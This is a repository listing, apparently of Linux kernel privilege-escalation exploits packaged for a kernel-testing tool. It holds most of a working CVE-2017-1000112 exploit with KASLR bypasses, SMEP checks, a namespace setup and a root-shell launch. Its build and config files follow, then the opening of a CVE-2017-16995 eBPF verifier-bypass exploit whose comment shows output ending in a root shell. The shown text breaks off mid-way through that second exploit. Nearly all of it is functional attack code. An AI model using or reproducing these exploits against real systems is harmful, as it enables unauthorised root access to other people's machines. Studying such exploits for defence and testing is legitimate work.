uint16_t gso_size; // unsigned short 280 | uint16_t gso_segs; // unsigned short 281 | uint16_t gso_type; // unsigned short 282 | uint64_t frag_list; // struct sk_buff * 283 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 284 | uint32_t tskey; // u32 285 | uint32_t ip6_frag_id; // __be32 286 | uint32_t dataref; // atomic_t 287 | uint64_t destructor_arg; // void * 288 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 289 | }; 290 | 291 | struct ubuf_info ui; 292 | 293 | void init_skb_buffer(char* buffer, unsigned long func) { 294 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 295 | memset(ssi, 0, sizeof(*ssi)); 296 | 297 | ssi->tx_flags = 0xff; 298 | ssi->destructor_arg = (uint64_t)&ui; 299 | ssi->nr_frags = 0; 300 | ssi->frag_list = 0; 301 | 302 | ui.callback = func; 303 | } 304 | 305 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 306 | 307 | #define SHINFO_OFFSET 3164 308 | 309 | void oob_execute(unsigned long payload) { 310 | char buffer[4096]; 311 | memset(&buffer[0], 0x42, 4096); 312 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 313 | 314 | int s = socket(PF_INET, SOCK_DGRAM, 0); 315 | if (s == -1) { 316 | dprintf("[-] socket()\n"); 317 | exit(EXIT_FAILURE); 318 | } 319 | 320 | struct sockaddr_in addr; 321 | memset(&addr, 0, sizeof(addr)); 322 | addr.sin_family = AF_INET; 323 | addr.sin_port = htons(8000); 324 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 325 | 326 | if (connect(s, (void*)&addr, sizeof(addr))) { 327 | dprintf("[-] connect()\n"); 328 | exit(EXIT_FAILURE); 329 | } 330 | 331 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 332 | int rv = send(s, buffer, size, MSG_MORE); 333 | if (rv != size) { 334 | dprintf("[-] send()\n"); 335 | exit(EXIT_FAILURE); 336 | } 337 | 338 | int val = 1; 339 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 340 | if (rv != 0) { 341 | dprintf("[-] setsockopt(SO_NO_CHECK)\n"); 342 | exit(EXIT_FAILURE); 343 | } 344 | 345 | send(s, buffer, 1, 0); 346 | 347 | close(s); 348 | } 349 | 350 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 351 | 352 | #define CHUNK_SIZE 1024 353 | 354 | int read_file(const char* file, char* buffer, int max_length) { 355 | int f = open(file, O_RDONLY); 356 | if (f == -1) 357 | return -1; 358 | int bytes_read = 0; 359 | while (true) { 360 | int bytes_to_read = CHUNK_SIZE; 361 | if (bytes_to_read > max_length - bytes_read) 362 | bytes_to_read = max_length - bytes_read; 363 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 364 | if (rv == -1) 365 | return -1; 366 | bytes_read += rv; 367 | if (rv == 0) 368 | return bytes_read; 369 | } 370 | } 371 | 372 | #define LSB_RELEASE_LENGTH 1024 373 | 374 | void get_distro_codename(char* output, int max_length) { 375 | char buffer[LSB_RELEASE_LENGTH]; 376 | char* path = "/etc/lsb-release"; 377 | int length = read_file(path, &buffer[0], LSB_RELEASE_LENGTH); 378 | if (length == -1) { 379 | dprintf("[-] open/read(%s)\n", path); 380 | exit(EXIT_FAILURE); 381 | } 382 | const char *needle = "DISTRIB_CODENAME="; 383 | int needle_length = strlen(needle); 384 | char* found = memmem(&buffer[0], length, needle, needle_length); 385 | if (found == NULL) { 386 | dprintf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 387 | exit(EXIT_FAILURE); 388 | } 389 | int i; 390 | for (i = 0; found[needle_length + i] != '\n'; i++) { 391 | if (i >= max_length) { 392 | exit(EXIT_FAILURE); 393 | } 394 | if ((found - &buffer[0]) + needle_length + i >= length) { 395 | exit(EXIT_FAILURE); 396 | } 397 | output[i] = found[needle_length + i]; 398 | } 399 | } 400 | 401 | struct utsname get_kernel_version() { 402 | struct utsname u; 403 | int rv = uname(&u); 404 | if (rv != 0) { 405 | dprintf("[-] uname()\n"); 406 | exit(EXIT_FAILURE); 407 | } 408 | return u; 409 | } 410 | 411 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 412 | 413 | #define DISTRO_CODENAME_LENGTH 32 414 | 415 | void detect_kernel() { 416 | char codename[DISTRO_CODENAME_LENGTH]; 417 | struct utsname u; 418 | 419 | u = get_kernel_version(); 420 | 421 | if (strstr(u.machine, "64") == NULL) { 422 | dprintf("[-] system is not using a 64-bit kernel\n"); 423 | exit(EXIT_FAILURE); 424 | } 425 | 426 | if (strstr(u.version, "-Ubuntu") == NULL) { 427 | dprintf("[-] system is not using an Ubuntu kernel\n"); 428 | exit(EXIT_FAILURE); 429 | } 430 | 431 | if (strstr(u.version, "14.04.1")) { 432 | strcpy(&codename[0], "trusty"); 433 | } else if (strstr(u.version, "16.04.1")) { 434 | strcpy(&codename[0], "xenial"); 435 | } else { 436 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 437 | 438 | // Linux Mint kernel release mappings 439 | if (!strcmp(&codename[0], "qiana")) 440 | strcpy(&codename[0], "trusty"); 441 | if (!strcmp(&codename[0], "rebecca")) 442 | strcpy(&codename[0], "trusty"); 443 | if (!strcmp(&codename[0], "rafaela")) 444 | strcpy(&codename[0], "trusty"); 445 | if (!strcmp(&codename[0], "rosa")) 446 | strcpy(&codename[0], "trusty"); 447 | if (!strcmp(&codename[0], "sarah")) 448 | strcpy(&codename[0], "xenial"); 449 | if (!strcmp(&codename[0], "serena")) 450 | strcpy(&codename[0], "xenial"); 451 | if (!strcmp(&codename[0], "sonya")) 452 | strcpy(&codename[0], "xenial"); 453 | } 454 | 455 | int i; 456 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 457 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 458 | strcmp(u.release, kernels[i].version) == 0) { 459 | dprintf("[.] kernel version '%s' detected\n", kernels[i].version); 460 | kernel = i; 461 | return; 462 | } 463 | } 464 | 465 | dprintf("[-] kernel version not recognized\n"); 466 | exit(EXIT_FAILURE); 467 | } 468 | 469 | #define PROC_CPUINFO_LENGTH 4096 470 | 471 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 472 | int smap_smep_enabled() { 473 | char buffer[PROC_CPUINFO_LENGTH]; 474 | char* path = "/proc/cpuinfo"; 475 | int length = read_file(path, &buffer[0], PROC_CPUINFO_LENGTH); 476 | if (length == -1) { 477 | dprintf("[-] open/read(%s)\n", path); 478 | exit(EXIT_FAILURE); 479 | } 480 | int rv = 0; 481 | char* found = memmem(&buffer[0], length, "smep", 4); 482 | if (found != NULL) 483 | rv += 1; 484 | found = memmem(&buffer[0], length, "smap", 4); 485 | if (found != NULL) 486 | rv += 2; 487 | return rv; 488 | } 489 | 490 | void check_smep_smap() { 491 | int rv = smap_smep_enabled(); 492 | if (rv >= 2) { 493 | dprintf("[-] SMAP detected, no bypass available\n"); 494 | exit(EXIT_FAILURE); 495 | } 496 | #if !ENABLE_SMEP_BYPASS 497 | if (rv >= 1) { 498 | dprintf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 499 | exit(EXIT_FAILURE); 500 | } 501 | #endif 502 | } 503 | 504 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 505 | 506 | #define SYSLOG_ACTION_READ_ALL 3 507 | #define SYSLOG_ACTION_SIZE_BUFFER 10 508 | 509 | bool mmap_syslog(char** buffer, int* size) { 510 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 511 | if (*size == -1) { 512 | dprintf("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)\n"); 513 | return false; 514 | } 515 | 516 | *size = (*size / getpagesize() + 1) * getpagesize(); 517 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 518 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 519 | 520 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 521 | if (*size == -1) { 522 | dprintf("[-] klogctl(SYSLOG_ACTION_READ_ALL)\n"); 523 | return false; 524 | } 525 | 526 | return true; 527 | } 528 | 529 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 530 | const char* needle1 = "Freeing unused"; 531 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 532 | if (substr == NULL) return 0; 533 | 534 | int start = 0; 535 | int end = 0; 536 | for (end = start; substr[end] != '-'; end++); 537 | 538 | const char* needle2 = "ffffff"; 539 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 540 | if (substr == NULL) return 0; 541 | 542 | char* endptr = &substr[16]; 543 | unsigned long r = strtoul(&substr[0], &endptr, 16); 544 | 545 | r &= 0xffffffffff000000ul; 546 | 547 | return r; 548 | } 549 | 550 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 551 | const char* needle1 = "Freeing unused"; 552 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 553 | if (substr == NULL) { 554 | return 0; 555 | } 556 | 557 | int start = 0; 558 | int end = 0; 559 | for (start = 0; substr[start] != '-'; start++); 560 | for (end = start; substr[end] != '\n'; end++); 561 | 562 | const char* needle2 = "ffffff"; 563 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 564 | if (substr == NULL) { 565 | return 0; 566 | } 567 | 568 | char* endptr = &substr[16]; 569 | unsigned long r = strtoul(&substr[0], &endptr, 16); 570 | 571 | r &= 0xfffffffffff00000ul; 572 | r -= 0x1000000ul; 573 | 574 | return r; 575 | } 576 | 577 | unsigned long get_kernel_addr_syslog() { 578 | unsigned long addr = 0; 579 | char* syslog; 580 | int size; 581 | 582 | dprintf("[.] trying syslog...\n"); 583 | 584 | if (!mmap_syslog(&syslog, &size)) 585 | return 0; 586 | 587 | if (strcmp("trusty", kernels[kernel].distro) == 0) 588 | addr = get_kernel_addr_trusty(syslog, size); 589 | if (strcmp("xenial", kernels[kernel].distro) == 0) 590 | addr = get_kernel_addr_xenial(syslog, size); 591 | 592 | if (!addr) 593 | dprintf("[-] kernel base not found in syslog\n"); 594 | 595 | return addr; 596 | } 597 | 598 | // * * * * * * * * * * * * * * kallsyms KASLR bypass * * * * * * * * * * * * * * 599 | 600 | unsigned long get_kernel_addr_kallsyms() { 601 | FILE *f; 602 | unsigned long addr = 0; 603 | char dummy; 604 | char sname[256]; 605 | char* name = "startup_64"; 606 | char* path = "/proc/kallsyms"; 607 | 608 | dprintf("[.] trying %s...\n", path); 609 | f = fopen(path, "r"); 610 | if (f == NULL) { 611 | dprintf("[-] open/read(%s)\n", path); 612 | return 0; 613 | } 614 | 615 | int ret = 0; 616 | while (ret != EOF) { 617 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 618 | if (ret == 0) { 619 | fscanf(f, "%s\n", sname); 620 | continue; 621 | } 622 | if (!strcmp(name, sname)) { 623 | fclose(f); 624 | return addr; 625 | } 626 | } 627 | 628 | fclose(f); 629 | dprintf("[-] kernel base not found in %s\n", path); 630 | return 0; 631 | } 632 | 633 | // * * * * * * * * * * * * * * System.map KASLR bypass * * * * * * * * * * * * * * 634 | 635 | unsigned long get_kernel_addr_sysmap() { 636 | FILE *f; 637 | unsigned long addr = 0; 638 | char path[512] = "/boot/System.map-"; 639 | char version[32]; 640 | 641 | struct utsname u; 642 | u = get_kernel_version(); 643 | strcat(path, u.release); 644 | dprintf("[.] trying %s...\n", path); 645 | f = fopen(path, "r"); 646 | if (f == NULL) { 647 | dprintf("[-] open/read(%s)\n", path); 648 | return 0; 649 | } 650 | 651 | char dummy; 652 | char sname[256]; 653 | char* name = "startup_64"; 654 | int ret = 0; 655 | while (ret != EOF) { 656 | ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 657 | if (ret == 0) { 658 | fscanf(f, "%s\n", sname); 659 | continue; 660 | } 661 | if (!strcmp(name, sname)) { 662 | fclose(f); 663 | return addr; 664 | } 665 | } 666 | 667 | fclose(f); 668 | dprintf("[-] kernel base not found in %s\n", path); 669 | return 0; 670 | } 671 | 672 | // * * * * * * * * * * * * * * mincore KASLR bypass * * * * * * * * * * * * * * 673 | 674 | unsigned long get_kernel_addr_mincore() { 675 | unsigned char buf[getpagesize()/sizeof(unsigned char)]; 676 | unsigned long iterations = 20000000; 677 | unsigned long addr = 0; 678 | 679 | dprintf("[.] trying mincore info leak...\n"); 680 | /* A MAP_ANONYMOUS | MAP_HUGETLB mapping */ 681 | if (mmap((void*)0x66000000, 0x20000000000, PROT_NONE, 682 | MAP_SHARED | MAP_ANONYMOUS | MAP_HUGETLB | MAP_NORESERVE, -1, 0) == MAP_FAILED) { 683 | dprintf("[-] mmap()\n"); 684 | return 0; 685 | } 686 | 687 | int i; 688 | for (i = 0; i <= iterations; i++) { 689 | /* Touch a mishandle with this type mapping */ 690 | if (mincore((void*)0x86000000, 0x1000000, buf)) { 691 | dprintf("[-] mincore()\n"); 692 | return 0; 693 | } 694 | 695 | int n; 696 | for (n = 0; n < getpagesize()/sizeof(unsigned char); n++) { 697 | addr = *(unsigned long*)(&buf[n]); 698 | /* Kernel address space */ 699 | if (addr > 0xffffffff00000000) { 700 | addr &= 0xffffffffff000000ul; 701 | if (munmap((void*)0x66000000, 0x20000000000)) 702 | dprintf("[-] munmap()\n"); 703 | return addr; 704 | } 705 | } 706 | } 707 | 708 | if (munmap((void*)0x66000000, 0x20000000000)) 709 | dprintf("[-] munmap()\n"); 710 | 711 | dprintf("[-] kernel base not found in mincore info leak\n"); 712 | return 0; 713 | } 714 | 715 | // * * * * * * * * * * * * * * KASLR bypasses * * * * * * * * * * * * * * * * 716 | 717 | unsigned long get_kernel_addr() { 718 | unsigned long addr = 0; 719 | 720 | addr = get_kernel_addr_kallsyms(); 721 | if (addr) return addr; 722 | 723 | addr = get_kernel_addr_sysmap(); 724 | if (addr) return addr; 725 | 726 | addr = get_kernel_addr_syslog(); 727 | if (addr) return addr; 728 | 729 | addr = get_kernel_addr_mincore(); 730 | if (addr) return addr; 731 | 732 | dprintf("[-] KASLR bypass failed\n"); 733 | exit(EXIT_FAILURE); 734 | 735 | return 0; 736 | } 737 | 738 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 739 | 740 | static bool write_file(const char* file, const char* what, ...) { 741 | char buf[1024]; 742 | va_list args; 743 | va_start(args, what); 744 | vsnprintf(buf, sizeof(buf), what, args); 745 | va_end(args); 746 | buf[sizeof(buf) - 1] = 0; 747 | int len = strlen(buf); 748 | 749 | int fd = open(file, O_WRONLY | O_CLOEXEC); 750 | if (fd == -1) 751 | return false; 752 | if (write(fd, buf, len) != len) { 753 | close(fd); 754 | return false; 755 | } 756 | close(fd); 757 | return true; 758 | } 759 | 760 | void setup_sandbox() { 761 | int real_uid = getuid(); 762 | int real_gid = getgid(); 763 | 764 | if (unshare(CLONE_NEWUSER) != 0) { 765 | dprintf("[!] unprivileged user namespaces are not available\n"); 766 | dprintf("[-] unshare(CLONE_NEWUSER)\n"); 767 | exit(EXIT_FAILURE); 768 | } 769 | if (unshare(CLONE_NEWNET) != 0) { 770 | dprintf("[-] unshare(CLONE_NEWUSER)\n"); 771 | exit(EXIT_FAILURE); 772 | } 773 | 774 | if (!write_file("/proc/self/setgroups", "deny")) { 775 | dprintf("[-] write_file(/proc/self/set_groups)\n"); 776 | exit(EXIT_FAILURE); 777 | } 778 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 779 | dprintf("[-] write_file(/proc/self/uid_map)\n"); 780 | exit(EXIT_FAILURE); 781 | } 782 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 783 | dprintf("[-] write_file(/proc/self/gid_map)\n"); 784 | exit(EXIT_FAILURE); 785 | } 786 | 787 | cpu_set_t my_set; 788 | CPU_ZERO(&my_set); 789 | CPU_SET(0, &my_set); 790 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 791 | dprintf("[-] sched_setaffinity()\n"); 792 | exit(EXIT_FAILURE); 793 | } 794 | 795 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 796 | dprintf("[-] system(/sbin/ifconfig lo mtu 1500)\n"); 797 | exit(EXIT_FAILURE); 798 | } 799 | if (system("/sbin/ifconfig lo up") != 0) { 800 | dprintf("[-] system(/sbin/ifconfig lo up)\n"); 801 | exit(EXIT_FAILURE); 802 | } 803 | } 804 | 805 | void exec_shell() { 806 | int fd; 807 | 808 | fd = open("/proc/1/ns/net", O_RDONLY); 809 | if (fd == -1) { 810 | dprintf("error opening /proc/1/ns/net\n"); 811 | exit(EXIT_FAILURE); 812 | } 813 | 814 | if (setns(fd, CLONE_NEWNET) == -1) { 815 | dprintf("error calling setns\n"); 816 | exit(EXIT_FAILURE); 817 | } 818 | 819 | system(SHELL); 820 | } 821 | 822 | bool is_root() { 823 | // We can't simple check uid, since we're running inside a namespace 824 | // with uid set to 0. Try opening /etc/shadow instead. 825 | int fd = open("/etc/shadow", O_RDONLY); 826 | if (fd == -1) 827 | return false; 828 | close(fd); 829 | return true; 830 | } 831 | 832 | void check_root() { 833 | dprintf("[.] checking if we got root\n"); 834 | if (!is_root()) { 835 | dprintf("[-] something went wrong =(\n"); 836 | return; 837 | } 838 | dprintf("[+] got r00t ^_^\n"); 839 | exec_shell(); 840 | } 841 | 842 | int main(int argc, char** argv) { 843 | if (argc > 1) SHELL = argv[1]; 844 | 845 | dprintf("[.] starting\n"); 846 | 847 | dprintf("[.] checking kernel version\n"); 848 | detect_kernel(); 849 | dprintf("[~] done, version looks good\n"); 850 | 851 | dprintf("[.] checking SMEP and SMAP\n"); 852 | check_smep_smap(); 853 | dprintf("[~] done, looks good\n"); 854 | 855 | dprintf("[.] setting up namespace sandbox\n"); 856 | setup_sandbox(); 857 | dprintf("[~] done, namespace sandbox set up\n"); 858 | 859 | #if ENABLE_KASLR_BYPASS 860 | dprintf("[.] KASLR bypass enabled, getting kernel addr\n"); 861 | KERNEL_BASE = get_kernel_addr(); 862 | dprintf("[~] done, kernel addr: %lx\n", KERNEL_BASE); 863 | #endif 864 | 865 | dprintf("[.] commit_creds: %lx\n", COMMIT_CREDS); 866 | dprintf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 867 | 868 | unsigned long payload = (unsigned long)&get_root; 869 | 870 | #if ENABLE_SMEP_BYPASS 871 | dprintf("[.] SMEP bypass enabled, mmapping fake stack\n"); 872 | mmap_stack(); 873 | payload = XCHG_EAX_ESP_RET; 874 | dprintf("[~] done, fake stack mmapped\n"); 875 | #endif 876 | 877 | dprintf("[.] executing payload %lx\n", payload); 878 | oob_execute(payload); 879 | dprintf("[~] done, should be root now\n"); 880 | 881 | check_root(); 882 | 883 | return 0; 884 | } 885 | -------------------------------------------------------------------------------- /CVE-2017-1000112/Makefile: -------------------------------------------------------------------------------- 1 | TARGET := CVE-2017-1000112 2 | 3 | all: 4 | gcc CVE-2017-1000112.c -o $(TARGET) 5 | 6 | clean: 7 | rm -f $(TARGET) 8 | -------------------------------------------------------------------------------- /CVE-2017-16995/.out-of-tree.toml: -------------------------------------------------------------------------------- 1 | name = "CVE-2017-16995" 2 | type = "exploit" 3 | 4 | [[supported_kernels]] 5 | distro_type = "Ubuntu" 6 | distro_release = "16.04" 7 | [supported_kernels.kernel] 8 | version = [ 4 ] 9 | major = [ 4 ] 10 | minor = [ 0 ] 11 | patch = [ 1, 116 ] 12 | 13 | [[supported_kernels]] 14 | distro_type = "Ubuntu" 15 | distro_release = "16.04" 16 | [supported_kernels.kernel] 17 | version = [ 4 ] 18 | major = [ 8 ] 19 | minor = [ 0 ] 20 | patch = [ 1, 58 ] 21 | 22 | [[supported_kernels]] 23 | distro_type = "Ubuntu" 24 | distro_release = "16.04" 25 | [supported_kernels.kernel] 26 | version = [ 4 ] 27 | major = [ 10 ] 28 | minor = [ 0 ] 29 | patch = [ 1, 42 ] 30 | 31 | [[supported_kernels]] 32 | distro_type = "Ubuntu" 33 | distro_release = "16.04" 34 | [supported_kernels.kernel] 35 | version = [ 4 ] 36 | major = [ 11 ] 37 | minor = [ 0 ] 38 | patch = [ 1, 14 ] 39 | 40 | [[supported_kernels]] 41 | distro_type = "Ubuntu" 42 | distro_release = "16.04" 43 | [supported_kernels.kernel] 44 | version = [ 4 ] 45 | major = [ 13 ] 46 | minor = [ 0 ] 47 | patch = [ 1, 21 ] 48 | -------------------------------------------------------------------------------- /CVE-2017-16995/CVE-2017-16995.c: -------------------------------------------------------------------------------- 1 | /* 2 | Credit @bleidl, this is a slight modification to his original POC 3 | https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c 4 | 5 | For details on how the exploit works, please visit 6 | https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html 7 | 8 | Tested on Ubuntu 16.04 with the following Kernels 9 | 4.4.0-31-generic 10 | 4.4.0-62-generic 11 | 4.4.0-81-generic 12 | 4.4.0-116-generic 13 | 4.8.0-58-generic 14 | 4.10.0.42-generic 15 | 4.13.0-21-generic 16 | 17 | Tested on Fedora 27 18 | 4.13.9-300 19 | gcc cve-2017-16995.c -o cve-2017-16995 20 | internet@client:~/cve-2017-16995$ ./cve-2017-16995 21 | [.] 22 | [.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t) 23 | [.] 24 | [.] ** This vulnerability cannot be exploited at all on authentic grsecurity kernel ** 25 | [.] 26 | [*] creating bpf map 27 | [*] sneaking evil bpf past the verifier 28 | [*] creating socketpair() 29 | [*] attaching bpf backdoor to socket 30 | [*] skbuff => ffff880038c3f500 31 | [*] Leaking sock struct from ffff88003af5e180 32 | [*] Sock->sk_rcvtimeo at offset 472 33 | [*] Cred structure at ffff880038704600 34 | [*] UID from cred structure: 1000, matches the current: 1000 35 | [*] hammering cred structure at ffff880038704600 36 | [*] credentials patched, launching shell... 37 | #id 38 | uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(internet) 39 | 40 | */ 41 | 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | 58 | char buffer[64]; 59 | int sockets[2]; 60 | int mapfd, progfd; 61 | int doredact = 0; 62 | 63 | #define LOG_BUF_SIZE 65536 64 | #define PHYS_OFFSET 0xffff880000000000 65 | char bpf_log_buf[LOG_BUF_SIZE]; 66 | 67 | static __u64 ptr_to_u64(void *ptr) 68 | { 69 | return (__u64) (unsigned long) ptr; 70 | } 71 | 72 | int bpf_prog_load(enum bpf_prog_type prog_type, 73 | const struct bpf_insn *insns, int prog_len, 74 | const char *license, int kern_version) 75 | { 76 | union bpf_attr attr = { 77 | .prog_type = prog_type, 78 | .insns = ptr_to_u64((void *) insns), 79 | .insn_cnt = prog_len / sizeof(struct bpf_insn), 80 | .license = ptr_to_u64((void *) license), 81 | .log_buf = ptr_to_u64(bpf_log_buf), 82 | .log_size = LOG_BUF_SIZE, 83 | .log_level = 1, 84 | }; 85 | 86 | attr.kern_version = kern_version; 87 | 88 | bpf_log_buf[0] = 0; 89 | 90 | return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)); 91 | } 92 | 93 | int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size, 94 | int max_entries, int map_flags) 95 | { 96 | union bpf_attr attr = { 97 | .map_type = map_type, 98 | .key_size = key_size, 99 | .value_size = value_size, 100 | .max_entries = max_entries 101 | }; 102 | 103 | return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr)); 104 | } 105 | 106 | int bpf_update_elem(int fd, void *key, void *value, unsigned long long flags) 107 | { 108 | union bpf_attr attr = { 109 | .map_fd = fd, 110 | .key = ptr_to_u64(key), 111 | .value = ptr_to_u64(value), 112 | .flags = flags, 113 | }; 114 | 115 | return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr)); 116 | } 117 | 118 | int bpf_lookup_elem(int fd, void *key, void *value) 119 | { 120 | union bpf_attr attr = { 121 | .map_fd = fd, 122 | .key = ptr_to_u64(key), 123 | .value = ptr_to_u64(value), 124 | }; 125 | 126 | return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr)); 127 | } 128 | 129 | #define BPF_ALU64_IMM(OP, DST, IMM) \ 130 | ((struct bpf_insn) { \ 131 | .code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \ 132 | .dst_reg = DST, \ 133 | .src_reg = 0, \ 134 | .off = 0, \ 135 | .imm = IMM }) 136 | 137 | #define BPF_MOV64_REG(DST, SRC) \ 138 | ((struct bpf_insn) { \ 139 | .code = BPF_ALU64 | BPF_MOV | BPF_X, \ 140 | .dst_reg = DST, \ 141 | .src_reg = SRC, \ 142 | .off = 0, \ 143 | .imm = 0 }) 144 | 145 | #define BPF_MOV32_REG(DST, SRC) \ 146 | ((struct bpf_insn) { \ 147 | .code = BPF_ALU | BPF_MOV | BPF_X, \ 148 | .dst_reg = DST, \ 149 | .src_reg = SRC, \ 150 | .off = 0, \ 151 | .imm = 0 }) 152 | 153 | #define BPF_MOV64_IMM(DST, IMM) \ 154 | ((struct bpf_insn) { \ 155 | .code = BPF_ALU64 | BPF_MOV | BPF_K, \ 156 | .dst_reg = DST, \ 157 | .src_reg = 0, \ 158 | .off = 0, \ 159 | .imm = IMM }) 160 | 161 | #define BPF_MOV32_IMM(DST, IMM) \ 162 | ((struct bpf_insn) { \ 163 | .code = BPF_ALU | BPF_MOV | BPF_K, \ 164 | .dst_reg = DST, \ 165 | .src_reg = 0, \ 166 | .off = 0, \ 167 | .imm = IMM }) 168 | 169 | #define BPF_LD_IMM64(DST, IMM) \ 170 | BPF_LD_IMM64_RAW(DST, 0, IMM) 171 | 172 | #define BPF_LD_IMM64_RAW(DST, SRC, IMM) \ 173 | ((struct bpf_insn) { \ 174 | .code = BPF_LD | BPF_DW | BPF_IMM, \ 175 | .dst_reg = DST, \ 176 | .src_reg = SRC, \ 177 | .off = 0, \ 178 | .imm = (__u32) (IMM) }), \ 179 | ((struct bpf_insn) { \ 180 | .code = 0, \ 181 | .dst_reg = 0, \ 182 | .src_reg = 0, \ 183 | .off = 0, \ 184 | .imm = ((__u64) (IMM)) >> 32 }) 185 | 186 | #ifndef BPF_PSEUDO_MAP_FD 187 | # define BPF_PSEUDO_MAP_FD 1 188 | #endif 189 | 190 | #define BPF_LD_MAP_FD(DST, MAP_FD) \ 191 | BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD) 192 | 193 | #define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \ 194 | ((struct bpf_insn) { \ 195 | .code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \ 196 | .dst_reg = DST, \ 197 | .src_reg = SRC, \ 198 | .off = OFF, \ 199 | .imm = 0 }) 200 | 201 | #define BPF_STX_MEM(SIZE, DST, SRC, OFF) \ 202 | ((struct bpf_insn) { \ 203 | .code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \ 204 | .dst_reg = DST, \ 205 | .src_reg = SRC, \ 206 | .off = OFF, \ 207 | .imm = 0 }) 208 | 209 | #define BPF_ST_MEM(SIZE, DST, OFF, IMM) \ 210 | ((struct bpf_insn) { \ 211 | .code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \ 212 | .dst_reg = DST, \ 213 | .src_reg = 0, \ 214 | .off = OFF, \ 215 | .imm = IMM }) 216 | 217 | #define BPF_JMP_IMM(OP, DST, IMM, OFF) \ 218 | ((struct bpf_insn) { \ 219 | .code = BPF_JMP | BPF_OP(OP) | BPF_K, \ 220 | .dst_reg = DST, \ 221 | .src_reg = 0, \ 222 | .off = OFF, \ 223 | .imm = IMM }) 224 | 225 | #define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \ 226 | ((struct bpf_insn) { \ 227 | .code = CODE, \ 228 | .dst_reg = DST, \ 229 | .src_reg = SRC, \ 230 | .off = OFF, \ 231 | .imm = IMM }) 232 | 233 | #define BPF_EXIT_INSN() \ 234 | ((struct bpf_insn) { \ 235 | .code = BPF_JMP | BPF_EXIT, \ 236 | .dst_reg = 0, \ 237 | .src_reg = 0, \ 238 | .off = 0, \ 239 | .imm = 0 }) 240 | 241 | #define BPF_DISABLE_VERIFIER() \ 242 | BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF), /* r2 = (u32)0xFFFFFFFF */ \ 243 | BPF_JMP_IMM(BPF_JNE, BPF_REG_2, 0xFFFFFFFF, 2), /* if (r2 == -1) { */ \ 244 | BPF_MOV64_IMM(BPF_REG_0, 0), /* exit(0); */ \ 245 | BPF_EXIT_INSN() /* } */ \ 246 | 247 | #define BPF_MAP_GET(idx, dst) \ 248 | BPF_MOV64_REG(BPF_REG_1, BPF_REG_9), /* r1 = r9 */ \ 249 | BPF_MOV64_REG(BPF_REG_2, BPF_REG_10), /* r2 = fp */ \ 250 | BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4), /* r2 = fp - 4 */ \ 251 | BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx), /* *(u32 *)(fp - 4) = idx */ \ 252 | BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem), \ 253 | BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1), /* if (r0 == 0) */ \ 254 | BPF_EXIT_INSN(), /* 